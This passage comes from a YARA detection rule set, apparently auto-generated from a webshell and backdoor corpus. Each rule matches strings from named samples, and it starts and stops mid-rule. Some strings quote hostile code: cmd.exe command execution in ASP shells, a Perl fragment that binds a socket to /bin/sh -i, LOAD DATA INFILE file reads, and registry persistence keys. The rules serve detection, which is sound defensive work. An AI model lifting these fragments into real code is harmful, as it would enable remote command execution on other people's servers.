		author = "Florian Roth (Nextron Systems)"
		hash = "168cab58cee59dc4706b3be988312580"
		id = "7436cd7c-7027-56dc-bb62-fac0f70c27d8"

	strings:
		$s1 = "PrSessKERNELU"
		$s2 = "Cur3ntV7sion"
		$s3 = "Explorer8"

	condition:
		all of them
}

rule iMHaPFtp
{
	meta:
		description = "Webshells Auto-generated - file iMHaPFtp.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "12911b73bc6a5d313b494102abcf5c57"
		id = "c810c630-ce08-5059-ad49-f65b244f4d19"

	strings:
		$s1 = "echo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"$self?{$d}sort=permission$r\\\">"

	condition:
		all of them
}

rule Unpack_TBack
{
	meta:
		description = "Webshells Auto-generated - file TBack.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a9d1007823bf96fb163ab38726b48464"
		id = "b5f93621-e1e9-5aed-b574-471b4c1f9570"

	strings:
		$s5 = "\\final\\new\\lcc\\public.dll"

	condition:
		all of them
}

rule DarkSpy105
{
	meta:
		description = "Webshells Auto-generated - file DarkSpy105.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f0b85e7bec90dba829a3ede1ab7d8722"
		id = "9d519ccf-fe52-5b82-a39d-c9f86c1089e1"

	strings:
		$s7 = "Sorry,DarkSpy got an unknown exception,please re-run it,thanks!"

	condition:
		all of them
}

rule EditServer_EXE
{
	meta:
		description = "Webshells Auto-generated - file EditServer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f945de25e0eba3bdaf1455b3a62b9832"
		id = "97928144-0112-5288-8f95-acf7a0d56e71"

	strings:
		$s2 = "Server %s Have Been Configured"
		$s5 = "The Server Password Exceeds 32 Characters"
		$s8 = "9--Set Procecess Name To Inject DLL"

	condition:
		all of them
}

rule FSO_s_reader
{
	meta:
		description = "Webshells Auto-generated - file reader.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b598c8b662f2a1f6cc61f291fb0a6fa2"
		id = "d596f7f4-5b0d-5f17-94d3-2582ec041eb1"

	strings:
		$s2 = "mailto:mailbomb@hotmail."

	condition:
		all of them
}

rule ASP_CmdAsp
{
	meta:
		description = "Webshells Auto-generated - file CmdAsp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "79d4f3425f7a89befb0ef3bafe5e332f"
		id = "e4b48843-1936-5717-b2b6-add5b4a14d04"

	strings:
		$s2 = "' -- Read the output from our command and remove the temp file -- '"
		$s6 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
		$s9 = "' -- create the COM objects that we will be using -- '"

	condition:
		all of them
}

rule KA_uShell
{
	meta:
		description = "Webshells Auto-generated - file KA_uShell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "685f5d4f7f6751eaefc2695071569aab"
		id = "34e220db-2fb5-59dc-b5e8-d88f844d3977"

	strings:
		$s5 = "if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass"
		$s6 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}"

	condition:
		all of them
}

rule PHP_Backdoor_v1
{
	meta:
		description = "Webshells Auto-generated - file PHP Backdoor v1.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "0506ba90759d11d78befd21cabf41f3d"
		id = "f47298a9-a47c-5088-ab1f-1bd76bfd0ca8"

	strings:
		$s5 = "echo\"<form method=\\\"POST\\\" action=\\\"\".$_SERVER['PHP_SELF'].\"?edit=\".$th"
		$s8 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?proxy"

	condition:
		all of them
}

rule svchostdll
{
	meta:
		description = "Webshells Auto-generated - file svchostdll.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "0f6756c8cb0b454c452055f189e4c3f4"
		id = "b369d702-1f29-56ec-a742-f87d9c42c775"

	strings:
		$s0 = "InstallService"
		$s1 = "RundllInstallA"
		$s2 = "UninstallService"
		$s3 = "&G3 Users In RegistryD"
		$s4 = "OL_SHUTDOWN;I"
		$s5 = "SvcHostDLL.dll"
		$s6 = "RundllUninstallA"
		$s7 = "InternetOpenA"
		$s8 = "Check Cloneomplete"

	condition:
		all of them
}

rule HYTop_DevPack_server
{
	meta:
		description = "Webshells Auto-generated - file server.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1d38526a215df13c7373da4635541b43"
		id = "0e4fee1b-8a16-5738-9600-fa965f8c84c2"

	strings:
		$s0 = "<!-- PageServer Below -->"

	condition:
		all of them
}

rule vanquish
{
	meta:
		description = "Webshells Auto-generated - file vanquish.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "684450adde37a93e8bb362994efc898c"
		id = "143e5e46-ffbc-5aee-9f9b-13374a6c3c10"

	strings:
		$s3 = "You cannot delete protected files/folders! Instead, your attempt has been logged"
		$s8 = "?VCreateProcessA@@YGHPBDPADPAU_SECURITY_ATTRIBUTES@@2HKPAX0PAU_STARTUPINFOA@@PAU"
		$s9 = "?VFindFirstFileExW@@YGPAXPBGW4_FINDEX_INFO_LEVELS@@PAXW4_FINDEX_SEARCH_OPS@@2K@Z"

	condition:
		all of them
}

rule winshell
{
	meta:
		description = "Webshells Auto-generated - file winshell.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3144410a37dd4c29d004a814a294ea26"
		id = "24edd03a-df71-5d84-9764-ba7903b68064"

	strings:
		$s0 = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"
		$s1 = "WinShell Service"
		$s2 = "__GLOBAL_HEAP_SELECTED"
		$s3 = "__MSVCRT_HEAP_SELECT"
		$s4 = "Provide Windows CmdShell Service"
		$s5 = "URLDownloadToFileA"
		$s6 = "RegisterServiceProcess"
		$s7 = "GetModuleBaseNameA"
		$s8 = "WinShell v5.0 (C)2002 janker.org"

	condition:
		all of them
}

rule FSO_s_remview
{
	meta:
		description = "Webshells Auto-generated - file remview.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b4a09911a5b23e00b55abe546ded691c"
		id = "5040ddbc-2e61-50ca-b738-a4ac8feec3f1"

	strings:
		$s2 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\""
		$s3 = "         echo \"<script>str$i=\\\"\".str_replace(\"\\\"\",\"\\\\\\\"\",str_replace(\"\\\\\",\"\\\\\\\\\""
		$s4 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n<"

	condition:
		all of them
}

rule saphpshell
{
	meta:
		description = "Webshells Auto-generated - file saphpshell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d7bba8def713512ddda14baf9cd6889a"
		id = "42bcd739-714e-5dbf-a3a1-929f3d16ed6f"

	strings:
		$s0 = "<td><input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['command']?>"

	condition:
		all of them
}

rule HYTop2006_rar_Folder_2006Z
{
	meta:
		description = "Webshells Auto-generated - file 2006Z.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "fd1b6129abd4ab177fed135e3b665488"
		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"

	strings:
		$s1 = "wangyong,czy,allen,lcx,Marcos,kEvin1986,myth"
		$s8 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"

	condition:
		all of them
}

rule admin_ad
{
	meta:
		description = "Webshells Auto-generated - file admin-ad.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "e6819b8f8ff2f1073f7d46a0b192f43b"
		id = "7d87b4f6-3227-53cb-803c-4f9c7327f203"

	strings:
		$s6 = "<td align=\"center\"> <input name=\"cmd\" type=\"text\" id=\"cmd\" siz"
		$s7 = "Response.write\"<a href='\"&url&\"?path=\"&Request(\"oldpath\")&\"&attrib=\"&attrib&\"'><"

	condition:
		all of them
}

rule FSO_s_casus15
{
	meta:
		description = "Webshells Auto-generated - file casus15.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8d155b4239d922367af5d0a1b89533a3"
		id = "305842e4-26ad-573d-8df3-e32e239e434b"

	strings:
		$s6 = "if((is_dir(\"$deldir/$file\")) AND ($file!=\".\") AND ($file!=\"..\"))"

	condition:
		all of them
}

rule BIN_Client
{
	meta:
		description = "Webshells Auto-generated - file Client.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "9f0a74ec81bc2f26f16c5c172b80eca7"
		id = "515ab1b3-7923-55de-8c19-71ef5d9b4366"

	strings:
		$s0 = "=====Remote Shell Closed====="
		$s2 = "All Files(*.*)|*.*||"
		$s6 = "WSAStartup Error!"
		$s7 = "SHGetFileInfoA"
		$s8 = "CreateThread False!"
		$s9 = "Port Number Error"

	condition:
		4 of them
}

rule shelltools_g0t_root_uptime
{
	meta:
		description = "Webshells Auto-generated - file uptime.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d1f56102bc5d3e2e37ab3ffa392073b9"
		id = "4f649757-9502-5640-bc17-11cad6c779f4"

	strings:
		$s0 = "JDiamondCSlC~"
		$s1 = "CharactQA"
		$s2 = "$Info: This file is packed with the UPX executable packer $"
		$s5 = "HandlereateConso"
		$s7 = "ION\\System\\FloatingPo"

	condition:
		all of them
}

rule Simple_PHP_BackDooR
{
	meta:
		description = "Webshells Auto-generated - file Simple_PHP_BackDooR.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a401132363eecc3a1040774bec9cb24f"
		id = "bd7c19b9-e035-5e70-b626-1d210cadc055"

	strings:
		$s0 = "<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory he"
		$s6 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fn"
		$s9 = "// a simple php backdoor"

	condition:
		1 of them
}

rule sig_2005Gray
{
	meta:
		description = "Webshells Auto-generated - file 2005Gray.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "75dbe3d3b70a5678225d3e2d78b604cc"
		id = "978fb04e-517d-51cf-98ca-5fd6b421365e"

	strings:
		$s0 = "SCROLLBAR-FACE-COLOR: #e8e7e7;"
		$s4 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
		$s8 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
		$s9 = "SCROLLBAR-3DLIGHT-COLOR: #cccccc;"

	condition:
		all of them
}

rule DllInjection
{
	meta:
		description = "Webshells Auto-generated - file DllInjection.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a7b92283a5102886ab8aee2bc5c8d718"
		id = "8a57e122-fd00-57f3-94db-736c5bfd76db"

	strings:
		$s0 = "\\BDoor\\DllInjecti"

	condition:
		all of them
}

rule Mithril_v1_45_Mithril
{
	meta:
		description = "Webshells Auto-generated - file Mithril.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f1484f882dc381dde6eaa0b80ef64a07"
		id = "3c160017-0332-532a-bb7f-390a4a34dc4e"

	strings:
		$s2 = "cress.exe"
		$s7 = "\\Debug\\Mithril."

	condition:
		all of them
}

rule hkshell_hkrmv
{
	meta:
		description = "Webshells Auto-generated - file hkrmv.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "bd3a0b7a6b5536f8d96f50956560e9bf"
		id = "986fad12-9198-5e0a-88d6-a9be6963ff8c"

	strings:
		$s5 = "/THUMBPOSITION7"
		$s6 = "\\EvilBlade\\"

	condition:
		all of them
}

rule WEBSHELL_PHP_1
{
	meta:
		description = "Webshells Auto-generated - file phpshell.php"
		old_rule_name = "phpshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1dccb1ea9f24ffbd085571c88585517b"
		id = "d0107af3-e484-54cf-a238-dd1e71efd3f6"

	strings:
		$s1 = "echo \"<input size=\\\"100\\\" type=\\\"text\\\" name=\\\"newfile\\\" value=\\\"$inputfile\\\"><b"
		$s2 = "$img[$id] = \"<img height=\\\"16\\\" width=\\\"16\\\" border=\\\"0\\\" src=\\\"$REMOTE_IMAGE_UR"
		$s3 = "$file = str_replace(\"\\\\\", \"/\", str_replace(\"//\", \"/\", str_replace(\"\\\\\\\\\", \"\\\\\", "

	condition:
		all of them
}

rule FSO_s_cmd
{
	meta:
		description = "Webshells Auto-generated - file cmd.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cbe8e365d41dd3cd8e462ca434cf385f"
		id = "f7a74f21-aec9-5ee7-a80e-0fe34b977a71"

	strings:
		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>"
		$s1 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"

	condition:
		all of them
}

rule FeliksPack3___PHP_Shells_phpft
{
	meta:
		description = "Webshells Auto-generated - file phpft.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "60ef80175fcc6a879ca57c54226646b1"
		id = "00bc690b-4977-5076-a40a-edd39c37233f"

	strings:
		$s6 = "PHP Files Thief"
		$s11 = "http://www.4ngel.net"

	condition:
		all of them
}

rule FSO_s_indexer
{
	meta:
		description = "Webshells Auto-generated - file indexer.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "135fc50f85228691b401848caef3be9e"
		id = "fba053d7-5413-563f-8c27-0554349500b2"

	strings:
		$s3 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input type=\"r"

	condition:
		all of them
}

rule r57shell
{
	meta:
		description = "Webshells Auto-generated - file r57shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8023394542cddf8aee5dec6072ed02b5"
		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"

	strings:
		$s11 = " $_POST['cmd']=\"echo \\\"Now script try connect to"

	condition:
		all of them
}

rule bdcli100
{
	meta:
		description = "Webshells Auto-generated - file bdcli100.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b12163ac53789fb4f62e4f17a8c2e028"
		id = "c74e8822-9556-5596-a130-c6e0120d7103"

	strings:
		$s5 = "unable to connect to "
		$s8 = "backdoor is corrupted on "

	condition:
		all of them
}

rule HYTop_DevPack_2005Red
{
	meta:
		description = "Webshells Auto-generated - file 2005Red.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d8ccda2214b3f6eabd4502a050eb8fe8"
		id = "963effd9-f31d-5238-9419-b5dd11822e56"

	strings:
		$s0 = "scrollbar-darkshadow-color:#FF9DBB;"
		$s3 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
		$s9 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"

	condition:
		all of them
}

rule HYTop2006_rar_Folder_2006X2
{
	meta:
		description = "Webshells Auto-generated - file 2006X2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cc5bf9fc56d404ebbc492855393d7620"
		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"

	strings:
		$s2 = "Powered By "
		$s3 = " \" onClick=\"this.form.sharp.name=this.form.password.value;this.form.action=this."

	condition:
		all of them
}

rule rdrbs084
{
	meta:
		description = "Webshells Auto-generated - file rdrbs084.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "ed30327b255816bdd7590bf891aa0020"
		id = "97548273-6894-5c9f-8cca-d966ce770ada"

	strings:
		$s0 = "Create mapped port. You have to specify domain when using HTTP type."
		$s8 = "<LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET SERVER> <TARGET"

	condition:
		all of them
}

rule HYTop_CaseSwitch_2005
{
	meta:
		description = "Webshells Auto-generated - file 2005.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8bf667ee9e21366bc0bd3491cb614f41"
		id = "0f2b8e71-1c11-5efe-bee7-146168aec369"

	strings:
		$s1 = "MSComDlg.CommonDialog"
		$s2 = "CommonDialog1"
		$s3 = "__vbaExceptHandler"
		$s4 = "EVENT_SINK_Release"
		$s5 = "EVENT_SINK_AddRef"
		$s6 = "By Marcos"
		$s7 = "EVENT_SINK_QueryInterface"
		$s8 = "MethCallEngine"

	condition:
		all of them
}

rule eBayId_index3
{
	meta:
		description = "Webshells Auto-generated - file index3.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "0412b1e37f41ea0d002e4ed11608905f"
		id = "4fc30150-7b44-53c4-888c-faf651495407"

	strings:
		$s8 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"You"

	condition:
		all of them
}

rule FSO_s_phvayv
{
	meta:
		description = "Webshells Auto-generated - file phvayv.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "205ecda66c443083403efb1e5c7f7878"
		id = "07e027a6-01a5-5250-a35e-fbfef1449cfe"

	strings:
		$s2 = "wrap=\"OFF\">XXXX</textarea></font><font face"

	condition:
		all of them
}

rule byshell063_ntboot
{
	meta:
		description = "Webshells Auto-generated - file ntboot.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "99b5f49db6d6d9a9faeffb29fd8e6d8c"
		id = "7d1f39f6-04f1-51ee-b125-c35af8ae4c0c"

	strings:
		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtBoot"
		$s1 = "Failure ... Access is Denied !"
		$s2 = "Dumping Description to Registry..."
		$s3 = "Opening Service .... Failure !"

	condition:
		all of them
}

rule FSO_s_casus15_2
{
	meta:
		description = "Webshells Auto-generated - file casus15.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8d155b4239d922367af5d0a1b89533a3"
		id = "d3f67fe9-a93f-504a-8b14-a815135d562f"

	strings:
		$s0 = "copy ( $dosya_gonder"

	condition:
		all of them
}

rule installer
{
	meta:
		description = "Webshells Auto-generated - file installer.cmd"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a507919ae701cf7e42fa441d3ad95f8f"
		id = "681d8284-55e5-5316-a0d2-f4f13218df76"

	strings:
		$s0 = "Restore Old Vanquish"
		$s4 = "ReInstall Vanquish"

	condition:
		all of them
}

rule FSO_s_remview_2
{
	meta:
		description = "Webshells Auto-generated - file remview.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b4a09911a5b23e00b55abe546ded691c"
		id = "8e0492e8-d683-5c2d-b1ce-6c8344b874af"

	strings:
		$s0 = "<xmp>$out</"
		$s1 = ".mm(\"Eval PHP code\")."

	condition:
		all of them
}

rule FeliksPack3___PHP_Shells_r57
{
	meta:
		description = "Webshells Auto-generated - file r57.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "903908b77a266b855262cdbce81c3f72"
		id = "14092413-27a4-5b7d-9023-0b53b3d45a12"

	strings:
		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']."

	condition:
		all of them
}

rule HYTop2006_rar_Folder_2006X
{
	meta:
		description = "Webshells Auto-generated - file 2006X.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cf3ee0d869dd36e775dfcaa788db8e4b"
		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"

	strings:
		$s1 = "<input name=\"password\" type=\"password\" id=\"password\""
		$s6 = "name=\"theAction\" type=\"text\" id=\"theAction\""

	condition:
		all of them
}

rule FSO_s_phvayv_2
{
	meta:
		description = "Webshells Auto-generated - file phvayv.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "205ecda66c443083403efb1e5c7f7878"
		id = "8bd52f9b-a232-566d-90ab-4085933cdc65"

	strings:
		$s2 = "rows=\"24\" cols=\"122\" wrap=\"OFF\">XXXX</textarea></font><font"

	condition:
		all of them
}

rule elmaliseker
{
	meta:
		description = "Webshells Auto-generated - file elmaliseker.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "ccf48af0c8c09bbd038e610a49c9862e"
		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"

	strings:
		$s0 = "javascript:Command('Download'"
		$s5 = "zombie_array=array("

	condition:
		all of them
}

rule shelltools_g0t_root_resolve
{
	meta:
		description = "Webshells Auto-generated - file resolve.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "69bf9aa296238610a0e05f99b5540297"
		id = "dcdb9952-63fc-57a7-ae17-ffe8ac4271f1"

	strings:
		$s0 = "3^n6B(Ed3"
		$s1 = "^uldn'Vt(x"
		$s2 = "\\= uPKfp"
		$s3 = "'r.axV<ad"
		$s4 = "p,modoi$=sr("
		$s5 = "DiamondC8S t"
		$s6 = "`lQ9fX<ZvJW"

	condition:
		all of them
}

rule FSO_s_RemExp
{
	meta:
		description = "Webshells Auto-generated - file RemExp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b69670ecdbb40012c73686cd22696eeb"
		id = "48a262bf-7f48-5ed9-b043-80e9d563bf21"

	strings:
		$s1 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Request.Ser"
		$s5 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f=<%=F"
		$s6 = "<td bgcolor=\"<%=BgColor%>\" align=\"right\"><%=Attributes(SubFolder.Attributes)%></"

	condition:
		all of them
}

rule FSO_s_tool
{
	meta:
		description = "Webshells Auto-generated - file tool.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3a1e1e889fdd974a130a6a767b42655b"
		id = "ed744aa4-7a35-57d6-89bd-3286a21b50a0"

	strings:
		$s7 = "\"\"%windir%\\\\calc.exe\"\")"

	condition:
		all of them
}

rule FeliksPack3___PHP_Shells_2005
{
	meta:
		description = "Webshells Auto-generated - file 2005.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "97f2552c2fafc0b2eb467ee29cc803c8"
		id = "91d278d5-e9ec-5a28-9a54-4549b4f0cd07"

	strings:
		$s0 = "window.open(\"\"&url&\"?id=edit&path=\"+sfile+\"&op=copy&attrib=\"+attrib+\"&dpath=\"+lp"
		$s3 = "<input name=\"dbname\" type=\"hidden\" id=\"dbname\" value=\"<%=request(\"dbname\")%>\">"

	condition:
		all of them
}

rule byloader
{
	meta:
		description = "Webshells Auto-generated - file byloader.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "0f0d6dc26055653f5844ded906ce52df"
		id = "24940e4b-06eb-548d-9e14-1a8f9c864bd3"

	strings:
		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtfsChk"
		$s1 = "Failure ... Access is Denied !"
		$s2 = "NTFS Disk Driver Checking Service"
		$s3 = "Dumping Description to Registry..."
		$s4 = "Opening Service .... Failure !"

	condition:
		all of them
}

rule shelltools_g0t_root_Fport
{
	meta:
		description = "Webshells Auto-generated - file Fport.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "dbb75488aa2fa22ba6950aead1ef30d5"
		id = "664e7b19-4d0b-5062-97d2-0eb34869024d"

	strings:
		$s4 = "Copyright 2000 by Foundstone, Inc."
		$s5 = "You must have administrator privileges to run fport - exiting..."

	condition:
		all of them
}

rule BackDooR__fr_
{
	meta:
		description = "Webshells Auto-generated - file BackDooR (fr).php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a79cac2cf86e073a832aaf29a664f4be"
		id = "fd0c77e8-18b7-5eb4-8ed4-87ee4c864683"

	strings:
		$s3 = "print(\"<p align=\\\"center\\\"><font size=\\\"5\\\">Exploit include "

	condition:
		all of them
}

rule FSO_s_ntdaddy
{
	meta:
		description = "Webshells Auto-generated - file ntdaddy.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f6262f3ad9f73b8d3e7d9ea5ec07a357"
		id = "b6b655b8-7bce-5fa5-97b7-a020a7e53f4f"

	strings:
		$s1 = "<input type=\"text\" name=\".CMD\" size=\"45\" value=\"<%= szCMD %>\"> <input type=\"s"

	condition:
		all of them
}

rule nstview_nstview
{
	meta:
		description = "Webshells Auto-generated - file nstview.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3871888a0c1ac4270104918231029a56"
		id = "00df601c-bddb-5da8-bef4-d2122419b5d0"

	strings:
		$s4 = "open STDIN,\\\"<&X\\\";open STDOUT,\\\">&X\\\";open STDERR,\\\">&X\\\";exec(\\\"/bin/sh -i\\\");"

	condition:
		all of them
}

rule HYTop_DevPack_upload
{
	meta:
		description = "Webshells Auto-generated - file upload.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b09852bda534627949f0259828c967de"
		id = "43054993-b0dd-5d2e-9890-db1f47759be5"

	strings:
		$s0 = "<!-- PageUpload Below -->"

	condition:
		all of them
}

rule PasswordReminder
{
	meta:
		description = "Webshells Auto-generated - file PasswordReminder.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "ea49d754dc609e8bfa4c0f95d14ef9bf"
